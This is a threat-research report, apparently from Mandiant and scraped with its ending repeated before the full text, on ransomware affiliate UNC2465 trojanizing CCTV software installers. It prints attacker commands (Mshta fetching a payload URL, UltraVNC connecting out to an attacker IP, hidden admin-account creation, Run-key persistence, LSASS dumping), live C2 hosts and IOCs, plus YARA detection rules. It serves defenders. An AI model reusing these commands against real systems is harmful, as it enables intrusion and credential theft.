SMOKEDHAM created a persistence mechanism for NGROK by adding VirtualHost.vbs to the WindNT value under the current users Run registry key.

reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindNT /d C:\ProgramData\WindNT\VirtualHost.vbs

Keylogger Deployment

This attacker utilized an additional keylogging utility named C:\ProgramData\psh\console.exe. The keylogging utility was configured to capture and record keystrokes to C:\ProgramData\psh\System32Log.txt.

Mandiant then observed the attacker use UltraVNC to download two LNK files that reference the keylogging utility. The downloaded files were named desktop.lnk and console.lnk, respectively, and were placed in the following persistence locations:

C:\Users\[username]\Start Menu\Programs\Startup\desktop.lnk

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\desktop.lnk

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\console.lnk

Cobalt Strike Beacon

The attacker used UltraVNC to download an in-memory dropper for Cobalt Strike to C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe. Update.exe was a Go based dropper created using the ScareCrow framework. The attacker executed C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe using Command Prompt.

cmd.exe /c 'C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe'&&exit

The execution of ScareCrow framework dropper C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe resulted in the creation of a Cobalt Strike stageless payload to C:\ProgramData\Cisco\update.exe, which then established a connection to a Cobalt Strike Beacon server located at w2doger[.]xyz when executed.

Mandiant observed the attacker using UltraVNC to download and store a file named update.lnk in the %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ directory. Mandiant was not able to recover update.lnk at the time of writing, but suspects that this file was created to add persistence to the Cobalt Strike stageless payload.

LSASS Dumping and Lateral Movement

Mandiant observed this attacker dump the LSASS process using Task Manager to a file named lsass.DMP, and later, zip the dump into two files named lsass.zip and lsass2.zip located in the C:\ProgramData\psh\ directory.

From this point, the attacker was observed moving laterally to different systems in the environment using Remote Desktop Protocol (RDP) connections.

Conclusion

UNC2465 established initial access via a Trojanized installer executed by an unsuspecting user. UNC2465 interactively established an NGROK tunnel and began moving laterally in less than 24 hours. Five days later, UNC2465 returned and deployed additional tools such as a keylogger, Cobalt Strike BEACON, and conducted credential harvesting via dumping LSASS memory.

Ransomware groups continue to adapt and pursue opportunistic access to victims. UNC2465’s move from drive-by attacks on website visitors or phishing emails to this software supply chain attack shows a concerning shift that presents new challenges for detection. While many organizations are now focusing more on perimeter defenses and two-factor authentication after recent public examples of password reuse or VPN appliance exploitation, monitoring on endpoints is often overlooked or left to traditional antivirus. A well-rounded security program is essential to mitigate risk from sophisticated groups such as UNC2465 as they continue to adapt to a changing security landscape.

Indicators

Supply Chain/Trojanized Nullsoft Installer/SmartPSS

MD5: 1430291f2db13c3d94181ada91681408
Filename: SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General-v1.exe
Zip MD5: 54e0a0d398314f330dfab6cd55d95f38

Supply Chain/Trojanized Nullsoft Installer/SVStation

MD5: e9ed774517e129a170cdb856bd13e7e8
Filename: SVStation_Win64-B1130.1.0.0.exe

Intermediate Stage

URL: hxxp://sdoc[.]xyz/ID-508260156241
IP: 185.92.151[.]150

SMOKEDHAM LOADER

MD5: f075c2894ac84df4805e8ccf6491a4f4 (Gbdh7yghJgbj3bb.html)

MD5: 05d38c7e957092f7d0ebfc7bf1eb5365

SMOKEDHAM

MD5: 127bf1d43313736c52172f8dc6513f56 (in-memory from f075c2894ac84df4805e8ccf6491a4f4)
Host: max-ghoster1.azureedge[.]net (actual C2)

MD5: 9de326bf37270776b78e30d442bda48b (MEtNOcyfkXWe.html)
Host: atlant20.azureedge[.]net (actual C2) 

MD5: b06319542cab55346776f0358a61b3b3 (in-memory from 05d38c7e957092f7d0ebfc7bf1eb5365)
Host: skolibri13.azureedge[.]net (actual C2)

NGROK

MD5: e3bc4dd84f7a24f24d790cc289e0a10f (legitimate NGROK renamed to conhost.exe)

MD5: 84ed6012ec62b0bddcd18058a8ff7ddd (VirtualHost.vbs)

UltraVNC

IP/Port: 81.91.177[.]54:7234 (using legitimate ULTRAVNC 23b89bf2c2b99fbc1e232b4f86af65f4)

BEACON

Host: w2doger[.]xyz
IP: 185.231.68.102
MD5: a9fa3eba3f644ba352462b904dfbcc1a (shellcode)

Detecting the Techniques

FireEye detects this activity across our platforms. The following contains specific detection names that provide indicators associated with this activity.

Platform

Detection Name

FireEye Network Security

FireEye Email Security

FireEye Detection On Demand

FireEye Malware Analysis

FireEye Malware File Protect

 

  • Backdoor.BEACON
  • FE_Loader_Win32_BLUESPINE_1
  • Trojan.Win32.CobaltStrike
  • Backdoor.MSIL.SMOKEDHAM
  • Malware.Binary.ps1
  • FEC_Backdoor_CS_SMOKEDHAM_1
  • Suspicious Process PowerShell Activity

FireEye Endpoint Security

Real-Time Detection (IOC)

  • WDIGEST CREDENTIAL EXPOSURE (METHODOLOGY)
  • WDIGEST CREDENTIAL EXPOSURE VIA REGISTRY (METHODOLOGY)
  • SUSPICIOUS CONHOST.EXE A (METHODOLOGY) 
  • TASKMGR PROCESS DUMP OF LSASS.EXE A (METHODOLOGY)

Malware Protection (AV/MG)

  • Trojan.GenericFCA.Script.533 
  • Trojan.GenericFCA.Agent.7732
  • Dropped:Trojan.VBS.VGU
  • Trojan.CobaltStrike.FM
  • NGRok
  • Ultra VNC
  • SVN Station
  • Generic.mg.a9fa3eba3f644ba3
  • Generic.mg.1626373508569884

Modules

  • Process Guard (LSASS memory protection)

FireEye Helix

  • VNC METHODOLOGY [Procs] (T1021.005)
  • WINDOWS ANALYTICS [Abnormal RDP Logon] (T1078)
  • WINDOWS ANALYTICS [Recon Commands] (T1204)
  • WINDOWS METHODOLOGY [Cleartext Credentials Enabled - UseLogonCredential] (T1003.001)
  • WINDOWS METHODOLOGY [LSASS Generic Dump Activity] (T1003.001)
  • WINDOWS METHODOLOGY [LSASS Memory Access] (T1003.001)
  • WINDOWS METHODOLOGY [Registry Run Key - reg.exe] (T1547.001)
  • WINDOWS METHODOLOGY [User Created - Net Command] (T1136.001)

Yara Detections

rule Backdoor_Win_SMOKEDHAM
{
    meta:
        author = "Mandiant"
        date_created = "2021-06-10"
        md5 = "9de326bf37270776b78e30d442bda48b"
    strings:
        $C2Method = { 2E 4D 65 74 68 6F 64 20 3D 20 22 50 4F 53 54 22 } //.Method = "POST"
        $domainFrontingDomain = /\.[hH]ost\s*=\s*\"[^\"]*";/
        $envCollection1 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 43 4F 4D 50 55 54 45 52 4E 41 4D 45 22 29 } //Environment.GetEnvironmentVariable("COMPUTERNAME")
        $envCollection2 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 55 53 45 52 44 4F 4D 41 49 4E 22 29 } //Environment.GetEnvironmentVariable("USERDOMAIN")
        $envCollection3 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 55 53 45 52 4E 41 4D 45 22 29 } //Environment.GetEnvironmentVariable("USERNAME")
        $functionalityString1 = { 28 22 64 65 6C 61 79 22 29 } //("delay")
        $functionalityString2 = { 28 22 73 63 72 65 65 6E 73 68 6F 74 22 29 } //("screenshot")
        $functionalityString3 = { 28 22 65 78 69 74 22 29 } //("exit")
        $publicStrings1 = "public string UUID"
        $publicStrings2 = "public string ID"
        $publicStrings3 = "public string Data"
        $UserAgentRequest = { 20 3D 20 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 4F 53 56 65 72 73 69 6F 6E 2E 54 6F 53 74 72 69 6E 67 28 29 3B } // = Environment.OSVersion.ToString();
   condition:
        filesize < 1MB and all of them

}

 

rule Loader_Win_SMOKEDHAM
{
    meta:
        author = "Mandiant"
        date_created = "2021-06-10"
        md5 = "05d38c7e957092f7d0ebfc7bf1eb5365"
    strings:
        $listedDLLs1 = "System.Drawing.dll" fullword
        $listedDLLs2 = "System.Web.Extensions.dll" fullword
        $listedDLLs3 = "System.Windows.Forms.dll" fullword
        $CSharpLang = {2d 4c 61 6e 67 75 61 67 65 20 43 53 68 61 72 70} // -Language CSharp
        $StringConversion = "convertto-securestring" nocase
        $SecureString1 = {5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 53 65 63 75 72 65 53 74 72 69 6e 67 54 6f 42 53 54 52} //[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR
        $SecureString2 = {5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 50 74 72 54 6f 53 74 72 69 6e 67 41 75 74 6f} //[System.Runtime.InteropServices.Marshal]::PtrToStringAuto
    condition:
        filesize < 1MB and (1 of ($listedDLLs*)) and $CSharpLang and $StringConversion and $SecureString1 and $SecureString2
}

MITRE ATT&CK UNC2465

Tactic

Description

Initial Access

   T1189: Drive-by Compromise
   T1195.002: Compromise Software Supply Chain
   T1566: Phishing

Execution

   T1053.005: Scheduled Task
   T1059.001: PowerShell
   T1059.005: Visual Basic

Persistence

   T1098: Account Manipulation
   T1136: Create Account
   T1547.001: Registry Run Keys / Startup Folder
   T1547.004: Winlogon Helper DLL
   T1547.009: Shortcut Modification

Defense Evasion

   T1027: Obfuscated Files or Information
   T1070.006: Timestomp
   T1112: Modify Registry
   T1140: Deobfuscate/Decode Files or Information
   T1218.005: Mshta
   T1553.002: Code Signing
   T1562.004: Disable or Modify System Firewall

Discovery

   T1012: Query Registry
   T1033: System Owner/User Discovery
   T1082: System Information Discovery

Collection

   T1056.001: Keylogging
   T1113: Screen Capture
   T1560: Archive Collected Data

Impact

   T1486: Data Encrypted for Impact
   T1531: Account Access Removal

Command and Control

   T1071.001: Web Protocols
   T1090.004: Domain Fronting
   T1102: Web Service
   T1105: Ingress Tool Transfer
   T1219: Remote Access Software
   T1572: Protocol Tunneling
   T1573.002: Asymmetric Cryptography

Lateral Movement

   T1021.004: SSH
   T1021.005: VNC

Credential Access

   T1003.001: LSASS Memory

Resource Development

   T1588.003: Code Signing Certificates
   T1588.004: Digital Certificates
   T1608.003: Install Digital Certificate

Acknowledgements

Thanks to everyone that contributed analysis and review. Special thanks to Alison Stailey, Joseph Reyes, Nick Richard, Andrew Thompson, Jeremy Kennelly, Joshua Sablatura, Evan Reese, Van Ta, Stephen Eckels, and Tufail Ahmed.

☑ ☆ ✇ Threat Research

Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise

By: Tyler McLellan

Mandiant observed DARKSIDE affiliate UNC2465 accessing at least one victim through a Trojanized software installer downloaded from a legitimate website. While this victim organization detected the intrusion, engaged Mandiant for incident response, and avoided ransomware, others may be at risk.

As reported in the Mandiant post, "Shining a Light on DARKSIDE Ransomware Operations," Mandiant Consulting has investigated intrusions involving several DARKSIDE affiliates. UNC2465 is one of those DARKSIDE affiliates that Mandiant believes has been active since at least March 2020.

The intrusion that is detailed in this post began on May 18, 2021, which occurred days after the publicly reported shutdown of the overall DARKSIDE program (Mandiant Advantage background). While no ransomware was observed here, Mandiant believes that affiliate groups that have conducted DARKSIDE intrusions may use multiple ransomware affiliate programs and can switch between them at will.

Sometime in May 2021 or earlier, UNC2465 likely Trojanized two software install packages on a CCTV security camera provider website. Mandiant determined the installers were malicious in early June and notified the CCTV company of a potential website compromise, which may have allowed UNC2465 to replace legitimate downloads with the Trojanized ones.

While Mandiant does not suspect many victims were compromised, this technique is being reported for broader awareness. Software supply chain attacks can vary greatly in sophistication, from the recent FireEye-discovered SolarWinds attacks to attacks such as this targeting smaller providers. A software supply chain attack allows a single intrusion to obtain the benefit of access to all of the organizations that run that victim company’s software; in this case, an installer, rather than the software itself, was modified by UNC2465.

DARKSIDE RaaS

In mid-May 2021, Mandiant observed multiple threat actors cite an announcement that appeared to be shared with DARKSIDE RaaS affiliates by the operators of the service. This announcement stated that they lost access to their infrastructure, including their blog, payment, and content distribution network (CDN) servers, and would be closing their service. The post cited law enforcement pressure and pressure from the United States for this decision. 

Multiple users on underground forums have since come forward claiming to be unpaid DARKSIDE affiliates, and in some cases privately provided evidence to forum administrators who confirmed that their claims were legitimate. There are some actors who have speculated that the DARKSIDE operator’s decision to close could be an exit scam. While we have not seen evidence suggesting that the operators of the DARKSIDE service have resumed operations, we anticipate that at least some of the former affiliates of the DARKSIDE service will likely identify different ransomware or malware offerings to use within their own operations. 

Notably, Mandiant has continued to observe a steady increase in the number of publicly named victims on ransomware shaming sites within the past month. Despite the recent ban of ransomware-related posts within underground forums, threat actors can still leverage private chats and connections to identify ransomware services. As one example, in mid-May 2021, the operator of the SODINOKIBI (aka REvil) RaaS indicated that multiple affiliates from other RaaS platforms that had shut down were switching to their service. Based on the perceived profitability of these operations, it is almost certain that numerous threat actors will continue to conduct widespread ransomware operations for the foreseeable future.

Background

In June 2021, Mandiant Consulting was engaged to respond to an intrusion. During analysis, Mandiant determined the initial vector was a trojanized security camera PVR installer from a legitimate website. Mandiant attributed the overall intrusion activity to DARKSIDE affiliate UNC2465 due to continued use of infrastructure and tooling since October 2020.

On May 18, 2021, a user in the affected organization browsed to the Trojanized link and downloaded the ZIP. Upon installing the software, a chain of downloads and scripts were executed, leading to SMOKEDHAM and later NGROK on the victim’s computer. Additional malware use such as BEACON, and lateral movement also occurred. Mandiant believes the Trojanized software was available from May 18, 2021, through June 8, 2021.

Pivoting on the slightly modified, but benign, MSHTA.exe application in VirusTotal, Mandiant identified a second installer package with the MD5 hash, e9ed774517e129a170cdb856bd13e7e8 (SVStation_Win64-B1130.1.0.0.exe), from May 26, 2021, which also connects out the same URL as the Trojanized SmartPSS installer.

Supply Chain Intrusion Cycle


Figure 1: Intrusion cycle

Phase 1: Trojanized Installer Download

Mandiant Consulting observed the Trojanized installer downloaded on a Windows workstation after the user visited a legitimate site that the victim organization had used before.

The downloaded file was extracted to
C:\Users\[username]\Downloads\06212019-General-SMARTPSS-Win32-ChnEng-IS\General_SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023\SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General-v1.exe.

Mandiant confirmed the user intended to download, install, and use the SmartPSS software. Figure 2 shows an image of the download page used for SmartPSS software.


Figure 2: SmartPSS download page

Phase 2: Nullsoft Installer

The installer executable is a Nullsoft installer that when executed wrote two files to C:\ProgramData\SMARTPSS-Win32_ChnEng_IS. We were able to extract the malicious installer script and files for analysis using 7-Zip. The relevant section of this installer script is shown below in Figure 3.


Figure 3: Nullsoft installer script section

The installer script created two files: SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General.exe (b540b8a341c20dced4bad4e568b4cbf9) and smartpss.exe (c180f493ce2e609c92f4a66de9f02ed6). The former is a clean installer from the original developer and is launched first, installing the software as the user may expect. The latter is launched with a command line URL executing the content.

The smartpss.exe file contained metadata describing itself as MSHTA.exe from Microsoft, a legitimate operating system component, but the MD5 hash was unknown. Disassembly analysis of the program showed it was a small application that loaded the IE COM object and launched the function RunHTMLApplication() against the command line argument provided. This functionality matched the behavior of the legitimate MSHTA.exe despite the hash discrepancy. Further analysis showed that the malware was based on a 2018 version of the binary (original hash: 5ced5d5b469724d9992f5e8117ecefb5) with only six bytes of data appended, as shown in Figure 4.


Figure 4: CyberChef diff between MSHTA.exe and smartpss.exe

Phase 3: Downloaded VBScript and PowerShell

Upon execution, the modified Mshta file was executed with the URL, hxxp://sdoc[.]xyz/ID-508260156241, and passed as an argument on the command line.

Domain sdoc[.]xyz was first associated with UNC2465 by RiskIQ in a May 20, 2021, blog post researching the infrastructure that Mandiant previously reported. According to RiskIQ, sdoc[.]xyz shares a registrant with koliz[.]xyz, which was also observed by Mandiant in past UNC2465 intrusions.

C:\PROGRAMDATA\SMARTPSS-Win32_ChnEng_IS\smartpss.exe hxxp://sdoc[.]xyz/ID-508260156241

The execution of the modified Mshta file resulted in the creation of a HTM file called loubSi78Vgb9[1].htm that was written to a temporary INetCache directory. Mandiant was not able to acquire this file at the time of writing; however, Mandiant was able to recover partial contents of the file.

<html><head>..<script language='VBScript'>..On Error Resume Next

At the time of writing, sdoc[.]xyz appeared to be active, but not returning the VBScript code. It is not clear if sdoc[.]xyz was selecting victims based on IP or other properties or was simply dormant. A PCAP from a sandbox execution on VirusTotal from May 26, 2021, also showed benign content being served.


Figure 5: PCAP from e9ed774517e129a170cdb856bd13e7e8 VirusTotal results not returning malicious content

Shortly after the download, a PowerShell script block was executed to download SMOKEDHAM, as shown in Figure 6.


Figure 6: SMOKEDHAM downloader

Within seconds, a file named qnxfhfim.cmdline was written to disk and executed using the Command-Line Compiler.

csc.exe /noconfig /fullpaths @'C:\Users\ [username]\AppData\Local\Temp\qnxfhfim\qnxfhfim.cmdline'

Mandiant was not able to recover this file at the time of writing; however, Mandiant was able to recover partial contents of the file.

.../t:library /utf8output /R:'System.dll' /R:'C:\windows\Microso

After the execution of qnxfhfim.cmdline, PowerShell initiated the first connection to the fronted domain lumiahelptipsmscdnqa[.]microsoft[.]com used by SMOKEDHAM.

Phase 4: SMOKEDHAM Dropper

The SMOKEDHAM dropper (f075c2894ac84df4805e8ccf6491a4f4) is written in PowerShell and decrypts and executes in memory the SMOKEDHAM backdoor. The dropper uses the Add-Type cmdlet to define a new .NET class for the backdoor. The Add-Type cmdlet can be used to define a new .NET class using an existing assembly or source code files or specifying source code inline or saved in a variable. In this case, the dropper uses SMOKEDHAM backdoor source code that is stored in a variable.

The SMOKEDHAM backdoor source code is embedded as an encrypted string. The dropper uses the ConvertTo-SecureString cmdlet and an embedded key to decrypt the source code prior to executing the Add-Type cmdlet. After defining a new .NET class for the backdoor, the dropper executes the backdoor's entry point. The dropper configures the backdoor with a C2 server address, RC4 encryption key, and sleep interval. Figure 7 shows the deobfuscated SMOKEDHAM dropper.


Figure 7: SMOKEDHAM dropper

Phase 5: SMOKEDHAM Backdoor

SMOKEDHAM (127bf1d43313736c52172f8dc6513f56) is a .NET-based backdoor that supports commands, including screen capture and keystroke capture. The backdoor may also download and execute additional PowerShell commands from its command and control (C2) server.

SMOKEDHAM Network Communications

SMOKEDHAM communicates with its C2 server using HTTPS. The backdoor uses domain fronting to obfuscate its true C2 server. The fronted domain is configured by an earlier stage of execution and the actual domain is hard-coded in the backdoor. Mandiant observed the fronted domain lumiahelptipsmscdnqa.microsoft[.]com and hard-coded domain max-ghoster1.azureedge[.]net used for C2 server communication.

The communication between SMOKEDHAM and its C2 server consists of JSON data exchanged via HTTP POST requests. The backdoor initiates requests to the C2 server and the C2 server may include commands to execute in the responses. The JSON data exchanged between SMOKEDHAM and its C2 server contains three fields: ID, UUID, and Data.

The ID field contains a unique value generated by the backdoor for the target system.

The UUID field may contain a unique value used to track command output or be empty. When the C2 server responds with a command to execute, it sets the UUID field to a unique value. SMOKEDHAM then sets the same UUID value in the subsequent HTTP POST request that contains the command output.

The Data field may contain RC4-encrypted, Base64-encoded command data or be empty. The backdoor uses the Data field to send command output to its C2 server. The C2 server uses the Data field to send commands to the backdoor to execute. The backdoor uses an RC4 key configured by an earlier stage of execution to encrypt and decrypt the Data field. Mandiant observed the RC4 key UwOdHsFXjdCOIrjTCfnblwEZ used for RC4 encryption and decryption.

SMOKEDHAM Commands

SMOKEDHAM Base64-decodes, and RC4-decrypts command data returned in the Data field. The backdoor checks if the plaintext command data begins with one of the following keywords, shown in Table 1.

Keyword

Action

delay

Update its sleep interval

screenshot

Upload a screen capture to its C2 server via a subsequent HTTP POST request

exit

Terminate

Table 1: Plaintext command data keywords

If the plaintext command data does not begin with any of the keywords listed in Table 1, then SMOKEDHAM assumes the data contains a PowerShell command and attempts to execute it. The backdoor uploads output generated by the PowerShell command to its C2 server via a subsequent HTTP POST request.

In addition to supporting the commands in Table 1, SMOKEDHAM continuously captures keystrokes. The backdoor writes captured keystrokes to memory and uploads them to its C2 server every five seconds via HTTP POST requests.

SMOKEDHAM In Action

SMOKEDHAM was observed executing commands on the target system using PowerShell. 

The following commands were used to collect information about the system and logged in users.

net.exe user

net.exe users

whoami.exe

whoami.exe /priv 

systeminfo.exe

The following commands were used to create and add the DefaultUser account to the local Administrators group, and subsequently hide the account from the Windows logon screen.

net.exe user DefaultUser REDACTED /ADD 

net.exe localgroup Administrators DefaultUser /ADD 

reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList' /v DefaultUser /t REG_DWORD /d 0 /f

The following commands facilitated lateral movement by modifying Terminal Server registry key values to enable multiple Remote Desktop connection sessions, and modifying the Local Security Authority (LSA) registry key value to require a password for authentication.

reg.exe ADD 'HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fDenyTSConnections /t REG_DWORD /d 0 /f

reg.exe ADD 'HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

reg.exe ADD HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LimitBlankPasswordUse /t REG_DWORD /d 1 /f

Additionally, SMOKEDHAM modified the WDigest registry key value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential to enable credential caching.

Phase 6: Follow-on Activity

SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download the UltraVNC application renamed as winvnc.exe, and a configuration file named UltraVNC.ini, shown in Figure 8. These files were saved to the %APPDATA%\Chrome\ directory. The UltraVNC.ini file allowed UltraVNC to connect to port 6300 on the loopback address specified by the parameter AllowLoopback=1.


Figure 8: Contents of UltraVNC.ini

SMOKEDHAM was observed using UltraVNC to establish a connection to the IP address and port pair 81.91.177[.]54[:]7234 that has been observed in past UNC2465 intrusions.

%APPDATA%\Chrome\winvnc.exe' -autoreconnect ID:15000151 -connect 81.91.177[.]54[:]7234 –run

SMOKEDHAM created a persistence mechanism for UltraVNC by adding the application to the ConhostNT value under the current users Run registry key.

reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v ConhostNT /d %appdata%\Chrome\winvnc.exe

NGROK Configuration

SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download an NGROK utility that was renamed conhost.exe, and a script named VirtualHost.vbs that was used to execute NGROK with a configuration file named ngrok.yml. These files were stored in the C:\ProgramData\WindNT\ directory. NGROK is a publicly available utility that can expose local servers behind NATs and firewalls to the public internet over secure tunnels.

Figure 9 and Figure 10 show the contents of VirtualHost.vbs and ngrok.yml files, respectively.


Figure 9: Contents of VirtualHost.vbs


Figure 10: Contents of ngrok.yml

The execution of VirtualHost.vbs allowed NGROK to listen and forward traffic on TCP port 6300 through an NGROK tunnel, subsequently allowing NGROK to tunnel UltraVNC traffic out of the environment.

SMOKEDHAM created a persistence mechanism for NGROK by adding VirtualHost.vbs to the WindNT value under the current users Run registry key.

reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindNT /d C:\ProgramData\WindNT\VirtualHost.vbs

Keylogger Deployment

This attacker utilized an additional keylogging utility named C:\ProgramData\psh\console.exe. The keylogging utility was configured to capture and record keystrokes to C:\ProgramData\psh\System32Log.txt.

Mandiant then observed the attacker use UltraVNC to download two LNK files that reference the keylogging utility. The downloaded files were named desktop.lnk and console.lnk, respectively, and were placed in the following persistence locations:

C:\Users\[username]\Start Menu\Programs\Startup\desktop.lnk

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\desktop.lnk

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\console.lnk

Cobalt Strike Beacon

The attacker used UltraVNC to download an in-memory dropper for Cobalt Strike to C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe. Update.exe was a Go based dropper created using the ScareCrow framework. The attacker executed C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe using Command Prompt.

cmd.exe /c 'C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe'&&exit

The execution of ScareCrow framework dropper C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe resulted in the creation of a Cobalt Strike stageless payload to C:\ProgramData\Cisco\update.exe, which then established a connection to a Cobalt Strike Beacon server located at w2doger[.]xyz when executed.

Mandiant observed the attacker using UltraVNC to download and store a file named update.lnk in the %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ directory. Mandiant was not able to recover update.lnk at the time of writing, but suspects that this file was created to add persistence to the Cobalt Strike stageless payload.

LSASS Dumping and Lateral Movement

Mandiant observed this attacker dump the LSASS process using Task Manager to a file named lsass.DMP, and later, zip the dump into two files named lsass.zip and lsass2.zip located in the C:\ProgramData\psh\ directory.

From this point, the attacker was observed moving laterally to different systems in the environment using Remote Desktop Protocol (RDP) connections.

Conclusion

UNC2465 established initial access via a Trojanized installer executed by an unsuspecting user. UNC2465 interactively established an NGROK tunnel and began moving laterally in less than 24 hours. Five days later, UNC2465 returned and deployed additional tools such as a keylogger, Cobalt Strike BEACON, and conducted credential harvesting via dumping LSASS memory.

Ransomware groups continue to adapt and pursue opportunistic access to victims. UNC2465’s move from drive-by attacks on website visitors or phishing emails to this software supply chain attack shows a concerning shift that presents new challenges for detection. While many organizations are now focusing more on perimeter defenses and two-factor authentication after recent public examples of password reuse or VPN appliance exploitation, monitoring on endpoints is often overlooked or left to traditional antivirus. A well-rounded security program is essential to mitigate risk from sophisticated groups such as UNC2465 as they continue to adapt to a changing security landscape.

Indicators

Supply Chain/Trojanized Nullsoft Installer/SmartPSS

MD5: 1430291f2db13c3d94181ada91681408
Filename: SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General-v1.exe
Zip MD5: 54e0a0d398314f330dfab6cd55d95f38

Supply Chain/Trojanized Nullsoft Installer/SVStation

MD5: e9ed774517e129a170cdb856bd13e7e8
Filename: SVStation_Win64-B1130.1.0.0.exe

Intermediate Stage

URL: hxxp://sdoc[.]xyz/ID-508260156241
IP: 185.92.151[.]150

SMOKEDHAM LOADER

MD5: f075c2894ac84df4805e8ccf6491a4f4 (Gbdh7yghJgbj3bb.html)

MD5: 05d38c7e957092f7d0ebfc7bf1eb5365

SMOKEDHAM

MD5: 127bf1d43313736c52172f8dc6513f56 (in-memory from f075c2894ac84df4805e8ccf6491a4f4)
Host: max-ghoster1.azureedge[.]net (actual C2)

MD5: 9de326bf37270776b78e30d442bda48b (MEtNOcyfkXWe.html)
Host: atlant20.azureedge[.]net (actual C2) 

MD5: b06319542cab55346776f0358a61b3b3 (in-memory from 05d38c7e957092f7d0ebfc7bf1eb5365)
Host: skolibri13.azureedge[.]net (actual C2)

NGROK

MD5: e3bc4dd84f7a24f24d790cc289e0a10f (legitimate NGROK renamed to conhost.exe)

MD5: 84ed6012ec62b0bddcd18058a8ff7ddd (VirtualHost.vbs)

UltraVNC

IP/Port: 81.91.177[.]54:7234 (using legitimate ULTRAVNC 23b89bf2c2b99fbc1e232b4f86af65f4)

BEACON

Host: w2doger[.]xyz
IP: 185.231.68.102
MD5: a9fa3eba3f644ba352462b904dfbcc1a (shellcode)

Detecting the Techniques

FireEye detects this activity across our platforms. The following contains specific detection names that provide indicators associated with this activity.

Platform

Detection Name

FireEye Network Security

FireEye Email Security

FireEye Detection On Demand

FireEye Malware Analysis

FireEye Malware File Protect

 

  • Backdoor.BEACON
  • FE_Loader_Win32_BLUESPINE_1
  • Trojan.Win32.CobaltStrike
  • Backdoor.MSIL.SMOKEDHAM
  • Malware.Binary.ps1
  • FEC_Backdoor_CS_SMOKEDHAM_1
  • Suspicious Process PowerShell Activity

FireEye Endpoint Security

Real-Time Detection (IOC)

  • WDIGEST CREDENTIAL EXPOSURE (METHODOLOGY)
  • WDIGEST CREDENTIAL EXPOSURE VIA REGISTRY (METHODOLOGY)
  • SUSPICIOUS CONHOST.EXE A (METHODOLOGY) 
  • TASKMGR PROCESS DUMP OF LSASS.EXE A (METHODOLOGY)

Malware Protection (AV/MG)

  • Trojan.GenericFCA.Script.533 
  • Trojan.GenericFCA.Agent.7732
  • Dropped:Trojan.VBS.VGU
  • Trojan.CobaltStrike.FM
  • NGRok
  • Ultra VNC
  • SVN Station
  • Generic.mg.a9fa3eba3f644ba3
  • Generic.mg.1626373508569884

Modules

  • Process Guard (LSASS memory protection)

FireEye Helix

  • VNC METHODOLOGY [Procs] (T1021.005)
  • WINDOWS ANALYTICS [Abnormal RDP Logon] (T1078)
  • WINDOWS ANALYTICS [Recon Commands] (T1204)
  • WINDOWS METHODOLOGY [Cleartext Credentials Enabled - UseLogonCredential] (T1003.001)
  • WINDOWS METHODOLOGY [LSASS Generic Dump Activity] (T1003.001)
  • WINDOWS METHODOLOGY [LSASS Memory Access] (T1003.001)
  • WINDOWS METHODOLOGY [Registry Run Key - reg.exe] (T1547.001)
  • WINDOWS METHODOLOGY [User Created - Net Command] (T1136.001)

Yara Detections

rule Backdoor_Win_SMOKEDHAM
{
    meta:
        author = "Mandiant"
        date_created = "2021-06-10"
        md5 = "9de326bf37270776b78e30d442bda48b"
    strings:
        $C2Method = { 2E 4D 65 74 68 6F 64 20 3D 20 22 50 4F 53 54 22 } //.Method = "POST"
        $domainFrontingDomain = /\.[hH]ost\s*=\s*\"[^\"]*";/
